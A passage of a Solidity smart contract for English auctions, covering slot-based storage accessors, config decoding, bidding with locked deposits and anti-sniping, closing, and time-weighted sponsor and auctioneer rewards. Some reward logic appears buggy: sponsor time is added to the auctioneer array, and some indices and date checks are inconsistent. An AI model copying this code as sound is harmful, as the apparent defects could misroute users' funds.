{ bytes32 slot = keccak256(abi.encode(AUCTION_TIME_BEGIN, auctionId)); assembly { time := sload(slot) } } function _setAuctionTimeBegin_V1(bytes16 auctionId, uint32 time) internal { bytes32 slot = keccak256(abi.encode(AUCTION_TIME_BEGIN, auctionId)); assembly { sstore(slot, time) } } function getAuctionTimeEnd_V1(bytes16 auctionId) public view returns (uint32 time) { bytes32 slot = keccak256(abi.encode(AUCTION_TIME_END, auctionId)); assembly { time := sload(slot) } } function _setAuctionTimeEnd_V1(bytes16 auctionId, uint32 time) internal { bytes32 slot = keccak256(abi.encode(AUCTION_TIME_END, auctionId)); assembly { sstore(slot, time) } } function getAuctionInitialTimeEnd_V1(bytes16 auctionId) public view returns (uint32 time) { bytes32 slot = keccak256(abi.encode(AUCTION_INITIAL_TIME_END, auctionId)); assembly { time := sload(slot) } } function _setAuctionInitialTimeEnd_V1(bytes16 auctionId, uint32 time) internal { bytes32 slot = keccak256(abi.encode(AUCTION_INITIAL_TIME_END, auctionId)); assembly { sstore(slot, time) } } function getAuctionAntiSnippingTrigger_V1(bytes16 auctionId) public view returns (uint24 trigger) { bytes32 slot = keccak256(abi.encode(AUCTION_ANTISNIPPING_TRIGGER, auctionId)); assembly { trigger := sload(slot) } } function _setAuctionAntiSnippingTrigger_V1(bytes16 auctionId, uint24 trigger) internal { bytes32 slot = keccak256(abi.encode(AUCTION_ANTISNIPPING_TRIGGER, auctionId)); assembly { sstore(slot, trigger) } } function getAuctionAntiSnippingDuration_V1(bytes16 auctionId) public view returns (uint16 duration) { bytes32 slot = keccak256(abi.encode(AUCTION_ANTISNIPPING_DURATION, auctionId)); assembly { duration := sload(slot) } } function _setAuctionAntiSnippingDuration_V1(bytes16 auctionId, uint16 duration) internal { bytes32 slot = keccak256(abi.encode(AUCTION_ANTISNIPPING_DURATION, auctionId)); assembly { sstore(slot, duration) } } function getAuctionBidIncrement_V1(bytes16 auctionId) public view returns (uint256 increment) { bytes32 slot = keccak256(abi.encode(AUCTION_BID_INCREMENT, auctionId)); assembly { increment := sload(slot) } } function _setAuctionBidIncrement_V1(bytes16 auctionId, uint256 increment) internal { bytes32 slot = keccak256(abi.encode(AUCTION_BID_INCREMENT, auctionId)); assembly { sstore(slot, increment) } } function getAuctionSponsor_V1(bytes16 auctionId) public view returns (address sponsor) { bytes32 slot = keccak256(abi.encode(AUCTION_SPONSOR, auctionId)); assembly { sponsor := sload(slot) } } function _setAuctionSponsor(bytes16 auctionId, address sponsor) internal { bytes32 slot = keccak256(abi.encode(AUCTION_SPONSOR, auctionId)); assembly { sstore(slot, sponsor) } } function getAuctionRewardCommunity_V1(bytes16 auctionId) public view returns (uint8 value) { bytes32 slot = keccak256(abi.encode(AUCTION_REWARDS_COMMUNITY, auctionId)); assembly { value := sload(slot) } return value; } function _setAuctionRewardCommunity_V1(bytes16 auctionId, uint8 value) internal { bytes32 slot = keccak256(abi.encode(AUCTION_REWARDS_COMMUNITY, auctionId)); assembly { sstore(slot, value) } } function getAuctionRewardAuctionSponsor_V1(bytes16 auctionId) public view returns (uint8 value) { bytes32 slot = keccak256(abi.encode(AUCTION_REWARDS_AUCTION_SPONSOR, auctionId)); assembly { value := sload(slot) } return value; } function _setAuctionRewardAuctionSponsor_V1(bytes16 auctionId, uint8 value) internal { bytes32 slot = keccak256(abi.encode(AUCTION_REWARDS_AUCTION_SPONSOR, auctionId)); assembly { sstore(slot, value) } } function getAuctionRewardBidAuctioneer_V1(bytes16 auctionId) public view returns (uint8 value) { bytes32 slot = keccak256(abi.encode(AUCTION_REWARDS_BID_AUCTIONEER, auctionId)); assembly { value := sload(slot) } return value; } function _setAuctionRewardBidAuctioneer_V1(bytes16 auctionId, uint8 value) internal { bytes32 slot = keccak256(abi.encode(AUCTION_REWARDS_BID_AUCTIONEER, auctionId)); assembly { sstore(slot, value) } } function getAuctionRewardBidSponsor_V1(bytes16 auctionId) public view returns (uint8 value) { bytes32 slot = keccak256(abi.encode(AUCTION_REWARDS_BID_SPONSOR, auctionId)); assembly { value := sload(slot) } return value; } function _setAuctionRewardBidSponsor(bytes16 auctionId, uint8 value) internal { bytes32 slot = keccak256(abi.encode(AUCTION_REWARDS_BID_SPONSOR, auctionId)); assembly { sstore(slot, value) } } function getAuctionRewardLastBidSponsor_V1(bytes16 auctionId) public view returns (uint8 value) { bytes32 slot = keccak256(abi.encode(AUCTION_REWARDS_LAST_BID_SPONSOR, auctionId)); assembly { value := sload(slot) } return value; } function _setAuctionRewardLastBidSponsor_V1(bytes16 auctionId, uint8 value) internal { bytes32 slot = keccak256(abi.encode(AUCTION_REWARDS_LAST_BID_SPONSOR, auctionId)); assembly { sstore(slot, value) } } function getAuctionRewardCommunityAmount_V1(bytes16 auctionId) public view returns (uint256 value) { bytes32 slot = keccak256(abi.encode(AUCTION_REWARDS_COMMUNITY_AMOUNT, auctionId)); assembly { value := sload(slot) } return value; } function _setAuctionRewardCommunityAmount_V1(bytes16 auctionId, uint256 value) internal { bytes32 slot = keccak256(abi.encode(AUCTION_REWARDS_COMMUNITY_AMOUNT, auctionId)); assembly { sstore(slot, value) } } function getAuctionRewardAuctionSponsorAmount_V1(bytes16 auctionId) public view returns (uint256 value) { bytes32 slot = keccak256(abi.encode(AUCTION_REWARDS_AUCTION_SPONSOR_AMOUNT, auctionId)); assembly { value := sload(slot) } return value; } function _setAuctionRewardAuctionSponsorAmount_V1(bytes16 auctionId, uint256 value) internal { bytes32 slot = keccak256(abi.encode(AUCTION_REWARDS_AUCTION_SPONSOR_AMOUNT, auctionId)); assembly { sstore(slot, value) } } function getAuctionRewardBidAuctioneerAmount_V1(bytes16 auctionId) public view returns (uint256 value) { bytes32 slot = keccak256(abi.encode(AUCTION_REWARDS_BID_AUCTIONEER_AMOUNT, auctionId)); assembly { value := sload(slot) } return value; } function _setAuctionRewardBidAuctioneerAmount_V1(bytes16 auctionId, uint256 value) internal { bytes32 slot = keccak256(abi.encode(AUCTION_REWARDS_BID_AUCTIONEER_AMOUNT, auctionId)); assembly { sstore(slot, value) } } function getAuctionRewardBidSponsorAmount_V1(bytes16 auctionId) public view returns (uint256 value) { bytes32 slot = keccak256(abi.encode(AUCTION_REWARDS_BID_SPONSOR_AMOUNT, auctionId)); assembly { value := sload(slot) } return value; } function _setAuctionRewardBidSponsorAmount_V1(bytes16 auctionId, uint256 value) internal { bytes32 slot = keccak256(abi.encode(AUCTION_REWARDS_BID_SPONSOR_AMOUNT, auctionId)); assembly { sstore(slot, value) } } function getAuctionRewardLastBidSponsorAmount_V1(bytes16 auctionId) public view returns (uint256 value) { bytes32 slot = keccak256(abi.encode(AUCTION_REWARDS_LAST_BID_SPONSOR_AMOUNT, auctionId)); assembly { value := sload(slot) } return value; } function _setAuctionRewardLastBidSponsorAmount_V1(bytes16 auctionId, uint256 value) internal { bytes32 slot = keccak256(abi.encode(AUCTION_REWARDS_LAST_BID_SPONSOR_AMOUNT, auctionId)); assembly { sstore(slot, value) } } function getAuctionSellerAmount_V1(bytes16 auctionId) public view returns (uint256 value) { bytes32 slot = keccak256(abi.encode(AUCTION_SELLER_AMOUNT, auctionId)); assembly { value := sload(slot) } return value; } function _setAuctionSellerAmount_V1(bytes16 auctionId, uint256 value) internal { bytes32 slot = keccak256(abi.encode(AUCTION_SELLER_AMOUNT, auctionId)); assembly { sstore(slot, value) } } function getAuctionEnded_V1(bytes16 auctionId) public view returns (bool value) { bytes32 slot = keccak256(abi.encode(AUCTION_ENDED, auctionId)); assembly { value := sload(slot) } return value; } function _setAuctionEnded_V1(bytes16 auctionId, bool value) internal { bytes32 slot = keccak256(abi.encode(AUCTION_ENDED, auctionId)); assembly { sstore(slot, value) } } function getAuctionBidCount_V1(bytes16 auctionId) public view returns (uint256 value) { bytes32 slot = keccak256(abi.encode(AUCTION_BID_COUNT, auctionId)); assembly { value := sload(slot) } return value; } function _addAuctionNewBid_V1(bytes16 auctionId) internal returns (uint256 value) { bytes32 slot = keccak256(abi.encode(AUCTION_BID_COUNT, auctionId)); assembly { value := sload(slot) } value++; assembly { sstore(slot, value) } } function getAuctionCurrentAmount_V1(bytes16 auctionId) public view returns (uint256 value) { bytes32 slot = keccak256(abi.encode(AUCTION_CURRENT_AMOUNT, auctionId)); assembly { value := sload(slot) } return value; } function _setAuctionCurrentAmount_V1(bytes16 auctionId, uint256 value) internal { bytes32 slot = keccak256(abi.encode(AUCTION_CURRENT_AMOUNT, auctionId)); assembly { sstore(slot, value) } } function getAuctionBidsUser_V1(bytes16 auctionId, uint256 bidIndex) public view returns (address user) { bytes32 slot = keccak256(abi.encode(AUCTION_BIDS_USER, auctionId, bidIndex)); assembly { user := sload(slot) } return user; } function _setAuctionBidsUser_V1(bytes16 auctionId, uint256 bidIndex, address user) internal { bytes32 slot = keccak256(abi.encode(AUCTION_BIDS_USER, auctionId, bidIndex)); assembly { sstore(slot, user) } } function getAuctionBidsAmount_V1(bytes16 auctionId, uint256 bidIndex) public view returns (uint256 value) { bytes32 slot = keccak256(abi.encode(AUCTION_BIDS_AMOUNT, auctionId, bidIndex)); assembly { value := sload(slot) } return value; } function _setAuctionBidsAmount_V1(bytes16 auctionId, uint256 bidIndex, uint256 value) internal { bytes32 slot = keccak256(abi.encode(AUCTION_BIDS_AMOUNT, auctionId, bidIndex)); assembly { sstore(slot, value) } } function getAuctionBidsSponsor_V1(bytes16 auctionId, uint256 bidIndex) public view returns (address sponsor) { bytes32 slot = keccak256(abi.encode(AUCTION_BIDS_SPONSOR, auctionId, bidIndex)); assembly { sponsor := sload(slot) } return sponsor; } function _setAuctionBidsSponsor_V1(bytes16 auctionId, uint256 bidIndex, address sponsor) internal { bytes32 slot = keccak256(abi.encode(AUCTION_BIDS_SPONSOR, auctionId, bidIndex)); assembly { sstore(slot, sponsor) } } function getAuctionBidsAuctioneer_V1(bytes16 auctionId, uint256 bidIndex) public view returns (address auctioneer) { bytes32 slot = keccak256(abi.encode(AUCTION_BIDS_AUCTIONEER, auctionId, bidIndex)); assembly { auctioneer := sload(slot) } return auctioneer; } function _setAuctionBidsAuctioneer_V1(bytes16 auctionId, uint256 bidIndex, address auctioneer) internal { bytes32 slot = keccak256(abi.encode(AUCTION_BIDS_AUCTIONEER, auctionId, bidIndex)); assembly { sstore(slot, auctioneer) } } function getAuctionBidsTimestamp_V1(bytes16 auctionId, uint256 bidIndex) public view returns (uint32 time) { bytes32 slot = keccak256(abi.encode(AUCTION_BIDS_TIMESTAMP, auctionId, bidIndex)); assembly { time := sload(slot) } return time; } function _setAuctionBidsTimestamp_V1(bytes16 auctionId, uint256 bidIndex, uint32 time) internal { bytes32 slot = keccak256(abi.encode(AUCTION_BIDS_TIMESTAMP, auctionId, bidIndex)); assembly { sstore(slot, time) } } function getAuctionLastSponsorForBidder_V1(bytes16 auctionId, address bidder) public view returns (address value) { bytes32 slot = keccak256(abi.encode(AUCTION_LAST_SPONSOR_FOR_BIDDER, auctionId, bidder)); assembly { value := sload(slot) } return value; } function _setAuctionLastSponsorForBidder_V1(bytes16 auctionId, address bidder, address value) internal { bytes32 slot = keccak256(abi.encode(AUCTION_LAST_SPONSOR_FOR_BIDDER, auctionId, bidder)); assembly { sstore(slot, value) } } function getAuctionCurrentLeader_V1(bytes16 auctionId) public view returns (address user) { bytes32 slot = keccak256(abi.encode(AUCTION_CURRENT_LEADER, auctionId)); assembly { user := sload(slot) } return user; } function _setAuctionCurrentLeader_V1(bytes16 auctionId, address user) internal { bytes32 slot = keccak256(abi.encode(AUCTION_CURRENT_LEADER, auctionId)); assembly { sstore(slot, user) } } function getAuctionMinimalBid_V1(bytes16 auctionId) public view returns (uint256 value) { uint256 currentAmount = getAuctionCurrentAmount_V1(auctionId); if (currentAmount > 0) { return currentAmount.add(getAuctionBidIncrement_V1(auctionId)); } return getAuctionCurrencyAmount_V1(auctionId); } /// config layout : /// tokensCount : uint16 (32, 2) /// currency contract address : address (34, 20) /// currency id : bytes32 (54, 32) /// currency start amount : uint256 (86, 32) /// time begin : uint32 (118, 4) /// time end : uint32 (122, 4) /// antisnipping trigger period : uint24 (126, 3) /// antisnipping duration : uint16 (129, 2) /// bid increment : uint256 (131, 32) /// sponsor : address (163, 20) /// reward master : uint8 (183, 1) /// reward auction sponsor : uint8 (184, 1) /// reward bid auctioneer : uint8 (185, 1) /// reward bid sponsor : uint8 (186, 1) /// reward last bid sponsor : uint8 (187, 1) /// for 0..tokensCount : /// contractAddress : address (20) /// id : bytes32 (32) /// amount: uint256 (32) function createEnglishAuction_V1(bytes16 auctionId, bytes memory config) public { require(getAuctionType_V1(auctionId) == 0, "AUCTION_ALREADY_EXIST"); require(config.length >= 32, "EMPTY_AUCTION_CONFIG"); uint16 configOffset = 0; _setAuctionType_V1(auctionId, AUCTION_TYPE_ENGLISH); _setAuctionSeller_V1(auctionId, msg.sender); configOffset = _registerAuctionTokens_V1(auctionId, configOffset, config); configOffset = _registerAuctionCurrency_V1(auctionId, configOffset, config); configOffset = _registerAuctionTimes_V1(auctionId, configOffset, config); configOffset = _registerAuctionAntiSnipping_V1(auctionId, configOffset, config); configOffset = _registerAuctionBidIncrement_V1(auctionId, configOffset, config); configOffset = _registerAuctionSponsor_V1(auctionId, configOffset, config); configOffset = _registerAuctionRewards_V1(auctionId, configOffset, config); require( getAuctionTimeBegin_V1(auctionId) < getAuctionTimeEnd_V1(auctionId) || block.timestamp < getAuctionTimeEnd_V1(auctionId), "INVALID_DATE_AT_CONTRACT_CREATION"); require(getAuctionCurrencyAmount_V1(auctionId) > 0, 'INVALID_START_AMOUNT_AT_CONTRACT_CREATION'); require(config.length == configOffset, "INVALID_AUCTION_CONFIG"); require(config.length == 156 + getAuctionTokensCount_V1(auctionId) * 84, "INVALID_AUCTION_CONFIG"); _emitLogAuctionCreateEnglish_V1(auctionId); } function _emitLogAuctionCreateEnglish_V1(bytes16 auctionId) internal { emit LogAuctionCreateEnglish_V1( auctionId, getAuctionCurrencyContractAddress_V1(auctionId), getAuctionCurrencyId_V1(auctionId), getAuctionCurrencyAmount_V1(auctionId), getAuctionTimeBegin_V1(auctionId), getAuctionTimeEnd_V1(auctionId) ); emit LogAuctionCreateEnglishBidding_V1( auctionId, getAuctionAntiSnippingTrigger_V1(auctionId), getAuctionAntiSnippingDuration_V1(auctionId), getAuctionBidIncrement_V1(auctionId) ); emit LogAuctionCreateEnglishReward_V1( auctionId, getAuctionSponsor_V1(auctionId), getAuctionRewardCommunity_V1(auctionId), getAuctionRewardAuctionSponsor_V1(auctionId), getAuctionRewardBidSponsor_V1(auctionId), getAuctionRewardBidAuctioneer_V1(auctionId), getAuctionRewardLastBidSponsor_V1(auctionId) ); uint16 auctionTokensCount = getAuctionTokensCount_V1(auctionId); address[] memory tokenContractAddress = new address[](auctionTokensCount); uint256[] memory tokenId = new uint256[](auctionTokensCount); uint256[] memory tokenAmount = new uint256[](auctionTokensCount); for(uint256 tokenIndex = 0; tokenIndex < auctionTokensCount; tokenIndex++) { Token memory auctionToken = _getAuctionToken_V1(auctionId, tokenIndex); tokenContractAddress[tokenIndex] = auctionToken.contractAddress; tokenId[tokenIndex] = auctionToken.id; tokenAmount[tokenIndex] = auctionToken.amount; } emit LogAuctionCreateEnglishTokens_V1( auctionId, tokenContractAddress, tokenId, tokenAmount ); } /// @notice internal decode config and register currency /// @param auctionId bytes32 /// @param config bytes function _registerAuctionCurrency_V1(bytes16 auctionId, uint16 configOffset, bytes memory config) internal returns (uint16) { Token memory token; address ca = address(0); uint256 id = 0; uint256 amount = 0; assembly { ca := mload(add(config, add(configOffset,20))) id := mload(add(config, add(configOffset,52))) amount := mload(add(config, add(configOffset,84))) } require(amount > 0,"AUCTION_TOKEN_AMOUNT_MUST_BE_GREATER_THAN_ZERO"); token.contractAddress = ca; token.id = id; token.amount = amount; _setAuctionCurrency_V1(auctionId, token); return (configOffset + 84); } function _registerAuctionTimes_V1(bytes16 auctionId, uint16 configOffset, bytes memory config) internal returns (uint16) { uint32 u32; assembly { u32 := mload(add(config, add(configOffset, 4))) // 118 - (32 - 4) } _setAuctionTimeBegin_V1(auctionId, u32); assembly { u32 := mload(add(config, add(configOffset, 8))) // 122 - (32 - 4) } _setAuctionTimeEnd_V1(auctionId, u32); _setAuctionInitialTimeEnd_V1(auctionId, u32); return (configOffset + 8); } function _registerAuctionAntiSnipping_V1(bytes16 auctionId, uint16 configOffset, bytes memory config) internal returns (uint16) { uint24 u24; uint16 u16; assembly { u24 := mload(add(config, add(configOffset, 3))) } _setAuctionAntiSnippingTrigger_V1(auctionId, u24); assembly { u16 := mload(add(config, add(configOffset, 5))) } _setAuctionAntiSnippingDuration_V1(auctionId, u16); return (configOffset + 5); } function _registerAuctionBidIncrement_V1(bytes16 auctionId, uint16 configOffset, bytes memory config) internal returns (uint16) { uint256 u256; assembly { u256 := mload(add(config, add(configOffset,32))) } _setAuctionBidIncrement_V1(auctionId, u256); return (configOffset + 32); } function _registerAuctionSponsor_V1(bytes16 auctionId, uint16 configOffset, bytes memory config) internal returns (uint16) { address a; assembly { a := mload(add(config, add(configOffset, 20))) } _setAuctionSponsor(auctionId, a); return (configOffset + 20); } /// @notice internal decode config and register rewards /// @param auctionId bytes32 /// @param config bytes function _registerAuctionRewards_V1(bytes16 auctionId, uint16 configOffset, bytes memory config) internal returns (uint16) { uint8 r; assembly { r := mload(add(config, add(configOffset, 1))) // 183 - (32 - 1) } _setAuctionRewardCommunity_V1(auctionId, r); if(r > 0) { uint8 totalRewardPercent = 0; assembly { r := mload(add(config, add(configOffset, 2))) } totalRewardPercent = totalRewardPercent + r; _setAuctionRewardAuctionSponsor_V1(auctionId, r); assembly { r := mload(add(config, add(configOffset, 3))) } totalRewardPercent = totalRewardPercent + r; _setAuctionRewardBidAuctioneer_V1(auctionId, r); assembly { r := mload(add(config, add(configOffset, 4))) } totalRewardPercent = totalRewardPercent + r; _setAuctionRewardBidSponsor(auctionId, r); assembly { r := mload(add(config, add(configOffset, 5))) } totalRewardPercent = totalRewardPercent + r; _setAuctionRewardLastBidSponsor_V1(auctionId, r); require (totalRewardPercent == 100, "INVALID_AUCTION_REWARDS_PERCENT"); } return (configOffset + 5); } function _registerAuctionTokens_V1(bytes16 auctionId, uint16 configOffset, bytes memory config) internal returns (uint16) { uint16 tokensCount = 0; assembly { tokensCount := mload(add(config, add(configOffset, 2))) } require(tokensCount > 0, "AUCTION_WITHOUT_TOKENS"); _setAuctionTokensCount_V1(auctionId, tokensCount); configOffset = configOffset + 2; for (uint16 index = 0; index < tokensCount; ++index) { configOffset = _registerAuctionToken_V1(auctionId, configOffset, config, index); } return configOffset; } /// @notice internal decode config, register tokens for index, and locked then /// @param auctionId bytes32 /// @param config bytes /// @param index uint16 , index of tokens for locks function _registerAuctionToken_V1(bytes16 auctionId, uint16 configOffset, bytes memory config, uint16 index) internal returns (uint16) { Token memory token; address ca = address(0); uint256 id = 0; uint256 amount = 0; assembly { ca := mload(add(config, add(configOffset, 20))) id := mload(add(config, add(configOffset, 52))) amount := mload(add(config, add(configOffset, 84))) } require(amount > 0,"AUCTION_TOKEN_AMOUNT_MUST_BE_GREATER_THAN_ZERO"); token.contractAddress = ca; token.id = id; token.amount = amount; // Lock token on delegate _delegatedLockDeposit_V1( msg.sender, token.contractAddress, token.id, token.amount, uint256(uint128(auctionId)) ); _setAuctionToken_V1(auctionId, index, token); return (configOffset + 84); } /// @notice bid for auction /// @param auctionId bytes32 /// @param amount uint256 of bid /// @param sponsor address of sponsor /// @param auctioneer address of auctioneer function bidEnglishAuction_V1( bytes16 auctionId, uint256 amount, address sponsor, address auctioneer ) public { require(getAuctionType_V1(auctionId) == AUCTION_TYPE_ENGLISH, "AUCTION_NOT_EXIST"); require(block.timestamp >= getAuctionTimeBegin_V1(auctionId), "AUCTION_IS_NOT_STARTED_YET"); require(block.timestamp <= getAuctionTimeEnd_V1(auctionId), "AUCTION_IS_ALREADY_CLOSED"); require(msg.sender != getAuctionSeller_V1(auctionId), "AUCTION_OWNER_CAN_NOT_BID"); require(sponsor != address(0), "BID_SPONSOR_REQUIRED"); require(amount >= getAuctionMinimalBid_V1(auctionId), "BIDDING AMOUNT_TOO_LOW"); address bidder = msg.sender; // unlock previous leader if(getAuctionCurrentLeader_V1(auctionId) != address(0)) { _delegatedUnLockDeposit_V1( getAuctionCurrentLeader_V1(auctionId), getAuctionCurrencyContractAddress_V1(auctionId), getAuctionCurrencyId_V1(auctionId), getAuctionCurrentAmount_V1(auctionId), uint256(uint128(auctionId)) ); } // Lock new currency amount for bidder _delegatedLockDeposit_V1( bidder, getAuctionCurrencyContractAddress_V1(auctionId), getAuctionCurrencyId_V1(auctionId), amount, uint256(uint128(auctionId)) ); // get next index for bidding history and rewards uint256 bidIndex = _addAuctionNewBid_V1(auctionId) -1; // index is number of bid - 1 _setAuctionBidsUser_V1(auctionId, bidIndex, bidder); _setAuctionBidsAmount_V1(auctionId, bidIndex, amount); _setAuctionBidsSponsor_V1(auctionId, bidIndex, sponsor); _setAuctionBidsAuctioneer_V1(auctionId, bidIndex, auctioneer); _setAuctionBidsTimestamp_V1(auctionId, bidIndex, uint32(block.timestamp)); _setAuctionLastSponsorForBidder_V1(auctionId, bidder, sponsor); _setAuctionCurrentAmount_V1(auctionId, amount); _setAuctionCurrentLeader_V1(auctionId, bidder); emit LogBid_V1( auctionId, bidIndex, bidder, amount, getAuctionMinimalBid_V1(auctionId), sponsor, auctioneer ); // Anti snipping if (block.timestamp > getAuctionTimeEnd_V1(auctionId) - getAuctionAntiSnippingTrigger_V1(auctionId)) { _setAuctionTimeEnd_V1(auctionId, uint32(block.timestamp + getAuctionAntiSnippingDuration_V1(auctionId))); emit LogAntiSnippingTriggered_V1(auctionId, getAuctionTimeEnd_V1(auctionId)); } } /// @notice close an auction /// @param auctionId bytes32 function endEnglishAuction_V1(bytes16 auctionId) public { require(getAuctionType_V1(auctionId) == AUCTION_TYPE_ENGLISH, "AUCTION_NOT_EXIST"); require(block.timestamp > getAuctionTimeEnd_V1(auctionId), "AUCTION_IS_NOT_CLOSED_YET"); require(!getAuctionEnded_V1(auctionId), "AUCTION_IS_ALREADY_ENDED"); _setAuctionEnded_V1(auctionId, true); address seller = getAuctionSeller_V1(auctionId); address winner = getAuctionCurrentLeader_V1(auctionId); uint256 currentAmount = getAuctionCurrentAmount_V1(auctionId); if(winner == address(0)) { // if no bid for this auction, send back tokens to seller _transferTokens_V1(auctionId, seller, seller); }else { // if we have at least one bid // if we have community rewards, set rewards amount if (getAuctionRewardCommunity_V1(auctionId) > 0) { _setRewardsAmount_V1(auctionId, currentAmount); _setBidRewards_V1(auctionId); } _setAmountForSeller_V1(auctionId, currentAmount); _transferTokens_V1(auctionId, seller, winner); } emit LogAuctionClosed_V1( auctionId, winner, currentAmount, getAuctionTimeEnd_V1(auctionId) ); } /// @notice internal set bids rewards /// @param auctionId bytes32 function _setBidRewards_V1(bytes16 auctionId) internal { uint _bidSponsorsLength = getAuctionBidCount_V1(auctionId); // get time leading for sponsor uint256 bidRewardsSponsorLength; address[] memory bidRewardsSponsorAddress; uint32[] memory bidRewardsSponsorTimeLeading; uint256 bidRewardsAuctioneerLength; address[] memory bidRewardsAuctioneerAddress; uint32[] memory bidRewardsAuctioneerTimeLeading; bidRewardsSponsorAddress = new address[](_bidSponsorsLength); bidRewardsSponsorTimeLeading = new uint32[](_bidSponsorsLength); bidRewardsAuctioneerAddress = new address[](_bidSponsorsLength); bidRewardsAuctioneerTimeLeading = new uint32[](_bidSponsorsLength); // if only one bid if (_bidSponsorsLength == 1) { bidRewardsSponsorLength = 1; bidRewardsAuctioneerLength = 1; bidRewardsSponsorAddress[0] = getAuctionBidsSponsor_V1(auctionId,0); bidRewardsSponsorTimeLeading[0] = uint32(1); bidRewardsAuctioneerAddress[0] = getAuctionBidsAuctioneer_V1(auctionId,0); bidRewardsAuctioneerTimeLeading[0] = uint32(1); } else { bool _found; uint _bidSponsorsIndex; uint _bidRewardsIndex; bidRewardsSponsorLength = 0; bidRewardsAuctioneerLength = 0; /// @dev loop of all bid sponsor for (_bidSponsorsIndex = 0; _bidSponsorsIndex < _bidSponsorsLength - 1; _bidSponsorsIndex++) { _found = false; for (_bidRewardsIndex = 0; _bidRewardsIndex < bidRewardsSponsorLength; _bidRewardsIndex++) { if (bidRewardsSponsorAddress[_bidRewardsIndex] == getAuctionBidsSponsor_V1(auctionId,_bidSponsorsIndex)) { bidRewardsAuctioneerTimeLeading[_bidRewardsIndex] = bidRewardsAuctioneerTimeLeading[_bidRewardsIndex].add( getAuctionBidsTimestamp_V1(auctionId,_bidSponsorsIndex + 1).sub( getAuctionBidsTimestamp_V1(auctionId,_bidSponsorsIndex) ) ); _found = true; continue; } } if (!_found) { bidRewardsSponsorAddress[bidRewardsSponsorLength] = getAuctionBidsSponsor_V1(auctionId,_bidSponsorsIndex); bidRewardsSponsorTimeLeading[bidRewardsSponsorLength] = getAuctionBidsTimestamp_V1(auctionId,_bidSponsorsIndex + 1).sub( getAuctionBidsTimestamp_V1(auctionId,_bidSponsorsIndex)); bidRewardsSponsorLength++; } /// @dev search bid auctioneer _found = false; for (_bidRewardsIndex = 0; _bidRewardsIndex < bidRewardsAuctioneerLength; _bidRewardsIndex++) { if (bidRewardsAuctioneerAddress[_bidRewardsIndex] == getAuctionBidsAuctioneer_V1(auctionId,_bidSponsorsIndex)) { bidRewardsAuctioneerTimeLeading[_bidRewardsIndex] = bidRewardsAuctioneerTimeLeading[_bidRewardsIndex].add( getAuctionBidsTimestamp_V1(auctionId,_bidSponsorsIndex + 1).sub( getAuctionBidsTimestamp_V1(auctionId,_bidSponsorsIndex) ) ); _found = true; continue; } } if (!_found && getAuctionBidsAuctioneer_V1(auctionId,_bidSponsorsIndex) != address( 0 )) { bidRewardsAuctioneerAddress[bidRewardsAuctioneerLength] = getAuctionBidsAuctioneer_V1(auctionId,_bidSponsorsIndex); bidRewardsAuctioneerTimeLeading[bidRewardsAuctioneerLength] = getAuctionBidsTimestamp_V1(auctionId,_bidSponsorsIndex + 1).sub( getAuctionBidsTimestamp_V1(auctionId,_bidSponsorsIndex)); bidRewardsAuctioneerLength++; } } /// @dev last bid to end _found = false; /// @dev search bid sponsor for (_bidRewardsIndex = 0; _bidRewardsIndex < bidRewardsSponsorLength; _bidRewardsIndex++) { if (bidRewardsSponsorAddress[_bidRewardsIndex] == getAuctionBidsSponsor_V1(auctionId,_bidSponsorsIndex)) { bidRewardsSponsorTimeLeading[_bidRewardsIndex] = bidRewardsSponsorTimeLeading[_bidRewardsIndex].add( getAuctionTimeEnd_V1(auctionId).sub( getAuctionBidsTimestamp_V1(auctionId,_bidSponsorsIndex - 1) ) ); _found = true; continue; } } if (!_found) { bidRewardsSponsorAddress[bidRewardsSponsorLength] = getAuctionBidsSponsor_V1(auctionId,_bidSponsorsIndex); bidRewardsSponsorTimeLeading[bidRewardsSponsorLength] = getAuctionTimeEnd_V1(auctionId).sub( getAuctionBidsTimestamp_V1(auctionId,_bidSponsorsIndex) ); bidRewardsSponsorLength++; } /// @dev search bid auctioneer for (_bidRewardsIndex = 0; _bidRewardsIndex < bidRewardsAuctioneerLength; _bidRewardsIndex++) { if (bidRewardsAuctioneerAddress[_bidRewardsIndex] == getAuctionBidsAuctioneer_V1(auctionId,_bidSponsorsIndex)) { bidRewardsAuctioneerTimeLeading[_bidRewardsIndex] = bidRewardsAuctioneerTimeLeading[_bidRewardsIndex].add( getAuctionTimeEnd_V1(auctionId).sub( getAuctionBidsTimestamp_V1(auctionId,_bidSponsorsIndex) ) ); _found = true; continue; } } if (!_found && getAuctionBidsAuctioneer_V1(auctionId,_bidSponsorsIndex) != address( 0 )) { bidRewardsAuctioneerAddress[bidRewardsAuctioneerLength] = getAuctionBidsAuctioneer_V1(auctionId,_bidSponsorsIndex); bidRewardsAuctioneerTimeLeading[bidRewardsAuctioneerLength] = getAuctionTimeEnd_V1(auctionId).sub( getAuctionBidsTimestamp_V1(auctionId,_bidSponsorsIndex) ); bidRewardsAuctioneerLength++; } } // set bid rewards for sponsor _setBidRewardsSponsorAmount_V1(auctionId, bidRewardsSponsorLength, bidRewardsSponsorAddress, bidRewardsSponsorTimeLeading); // set bid rewards for auctioneer _setBidRewardsAuctioneerAmount_V1(auctionId, bidRewardsAuctioneerLength, bidRewardsAuctioneerAddress, bidRewardsAuctioneerTimeLeading); } /// @notice internal set bid sponsor rewards amount from time leading /// @param auctionId bytes32 /// @param bidRewardsSponsorLength uint256 /// @param bidRewardsSponsorAddress address[] /// @param bidRewardsSponsorTimeLeading uint32[] function _setBidRewardsSponsorAmount_V1( bytes16 auctionId, uint256 bidRewardsSponsorLength, address[] memory bidRewardsSponsorAddress, uint32[] memory bidRewardsSponsorTimeLeading ) internal { uint _bidRewardsIndex; uint256 _rewardBidSponsorTimeLeadingSum; /// @dev if number of auctioneer rewards greater then zero if (bidRewardsSponsorLength > 0) { Token memory currency = _getAuctionCurrency_V1(auctionId); address currentLeader = getAuctionCurrentLeader_V1(auctionId); for (_bidRewardsIndex = 0; _bidRewardsIndex < bidRewardsSponsorLength; _bidRewardsIndex++) { _rewardBidSponsorTimeLeadingSum = _rewardBidSponsorTimeLeadingSum.add( uint256(bidRewardsSponsorTimeLeading[_bidRewardsIndex]) ); } /// @dev distribute sponsor reward amount uint _rewardBidSponsorAmount; uint256 rewardBidSponsorTotalAmount = getAuctionRewardBidSponsorAmount_V1(auctionId); for (_bidRewardsIndex = 0; _bidRewardsIndex < bidRewardsSponsorLength; _bidRewardsIndex++) { _rewardBidSponsorAmount = rewardBidSponsorTotalAmount.mul( bidRewardsSponsorTimeLeading[_bidRewardsIndex] ).div(_rewardBidSponsorTimeLeadingSum); if (_rewardBidSponsorAmount > 0) { 